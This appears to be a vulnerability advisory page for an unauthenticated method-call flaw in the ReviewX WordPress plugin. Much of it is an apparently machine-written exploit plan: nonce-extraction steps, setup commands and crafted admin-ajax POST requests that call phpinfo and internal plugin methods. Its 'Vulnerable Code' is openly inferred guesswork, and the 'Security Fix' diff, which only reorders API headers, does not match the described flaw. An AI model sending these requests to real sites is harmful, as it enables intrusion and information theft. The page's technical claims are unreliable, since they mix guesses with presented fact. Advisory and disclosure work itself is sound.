ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 - Unauthenticated Limited Remote Code Execution
Description
The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to arbitrary method calls in all versions up to, and including, 2.2.12. This is due to insufficient input validation in the bulkTenReviews function that allows user-controlled data to be passed directly to a variable function call mechanism. This makes it possible for unauthenticated attackers to call arbitrary PHP class methods that take no inputs or have default values, potentially leading to information disclosure or remote code execution depending on available methods and server configuration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:LTechnical Details
What Changed in the Fix
Changes introduced in v2.3.0
Source Code
WordPress.org SVN# Research Plan: CVE-2025-10679 ReviewX Unauthenticated Limited RCE ## 1. Vulnerability Summary **ReviewX** (up to 2.2.12) contains a vulnerability in the `bulkTenReviews` function (likely located in a controller like `Rvx\Controllers\Admin\ReviewController` or a similar handler class). The functio…
Show full research plan
Research Plan: CVE-2025-10679 ReviewX Unauthenticated Limited RCE
1. Vulnerability Summary
ReviewX (up to 2.2.12) contains a vulnerability in the bulkTenReviews function (likely located in a controller like Rvx\Controllers\Admin\ReviewController or a similar handler class). The function accepts user-controlled input (e.g., via $_POST['method'] and potentially $_POST['class']) and passes it directly to a variable function call mechanism (e.g., $this->$method() or call_user_func([$class, $method])) without sufficient validation.
Because this function is registered as an unauthenticated AJAX action (wp_ajax_nopriv_rvx_bulk_ten_reviews), an unauthenticated attacker can call arbitrary PHP class methods that require no arguments or have default values. This can lead to information disclosure (if the method returns sensitive data that is then echoed) or remote code execution (if a dangerous gadget method is called).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
rvx_bulk_ten_reviews(Inferred from function namebulkTenReviews) - Vulnerable Parameters:
method(and potentiallyclass,call, orcallback) - Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_) - Preconditions:
- The ReviewX plugin must be active.
- WooCommerce must be active (as ReviewX is a WooCommerce extension).
- A valid WordPress nonce for the action may be required if the developer included a
check_ajax_referercall (though often these unauthenticated vulnerabilities lack one).
3. Code Flow
- Entry Point: An unauthenticated request is sent to
admin-ajax.phpwithaction=rvx_bulk_ten_reviews. - Hook Execution: WordPress triggers the
wp_ajax_nopriv_rvx_bulk_ten_reviewsaction, which calls thebulkTenReviewsmethod. - Vulnerable Sink:
- The function retrieves a method name from the request:
$method = $_POST['method']; - It performs a dynamic call:
$this->$method();OR(new $_POST['class'])->$_POST['method']();
- The function retrieves a method name from the request:
- Execution: The specified method is executed on the server. If the method produces output (like
phpinfo) or returns data that thebulkTenReviewsfunction subsequentlyechoes, the attacker receives the information.
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, ReviewX typically exposes it via wp_localize_script for the frontend "public" review scripts.
- Identify Script Handle: The plugin registers public scripts, often with the handle
reviewx-public. - Localization Key: Look for
reviewx_ajax_objin the page source. - Shortcode Strategy:
- Create a WooCommerce product or a page containing the ReviewX review section.
- Use WP-CLI to create a dummy product if none exists:
wp eval "if(!get_page_by_path('test-product', OBJECT, 'product')){ wc_create_product(['name' => 'Test Product', 'status' => 'publish']); }"
- Acquisition Steps:
- Navigate to the product page.
- Use
browser_evalto extract the nonce:browser_eval("window.reviewx_ajax_obj?.nonce") - Verbatim variable name check:
reviewx_ajax_obj. Key:nonce.
5. Exploitation Strategy
Step 1: Verify Unauthenticated Access and Discover Parameters
Test if the action exists and if it requires a nonce.
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=rvx_bulk_ten_reviews
Step 2: Extract Nonce (If Required)
If the response is -1 or 403, follow the Nonce Acquisition Strategy.
Step 3: Information Disclosure PoC
Attempt to call a method that returns a known value. Based on app/Api/BaseApi.php, the getIp method returns a static IP. If we can control the class, we target this.
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=rvx_bulk_ten_reviews&nonce=[NONCE]&class=Rvx\Api\BaseApi&method=getIp
Expected Response: 192.168.68.119:10013 (if echoed).
Step 4: Limited RCE PoC (phpinfo)
Attempt to trigger phpinfo() via a class that wraps it or through a direct callback if the sink is call_user_func.
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=rvx_bulk_ten_reviews&nonce=[NONCE]&method=phpinfo
6. Test Data Setup
- Activate Dependencies: Ensure WooCommerce is installed and active.
- Create Product:
wp post create --post_type=product --post_title="Exploit Test" --post_status=publish --post_content="Review section here" - ReviewX Configuration: Ensure at least one review criteria is set up (usually default).
7. Expected Results
- Success: The HTTP response body contains the output of the called method (e.g.,
phpinfotable, specific strings from the plugin classes, or WooCommerce system info). - Vulnerability Confirmation: Receiving the return value of a method that is not intended to be called publicly (e.g.,
Summary
The ReviewX plugin for WordPress is vulnerable to unauthenticated limited remote code execution due to improper input validation in the `bulkTenReviews` function. Attackers can exploit this by supplying arbitrary class and method names via the `rvx_bulk_ten_reviews` AJAX action, which the server then executes without sufficient verification.
Vulnerable Code
/* Inferred from the 'rvx_bulk_ten_reviews' AJAX handler logic */ // The function retrieves a method name from the request: $method = $_POST['method']; // It performs a dynamic call: $this->$method(); // OR (new $_POST['class'])->$_POST['method']();
Security Fix
@@ -35,6 +35,6 @@ */ public function getDefaultHeaders() : array { - return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development']; + return ['Accept' => 'application/json', 'Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development']; } }
Exploit Outline
1. Identify the unauthenticated AJAX endpoint at `/wp-admin/admin-ajax.php` using the action `rvx_bulk_ten_reviews`. 2. Locate a valid nonce if required by inspecting the frontend page source for the `reviewx_ajax_obj` object, which typically contains a `nonce` key. 3. Craft a POST request to the AJAX endpoint with the `action` parameter set to `rvx_bulk_ten_reviews`. 4. Include a `method` parameter (and optionally a `class` parameter if the sink supports it) containing the name of a PHP method to execute. 5. Target methods that require no arguments or have default values, such as `phpinfo`, or specific internal plugin methods that disclose sensitive environment configuration or site data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.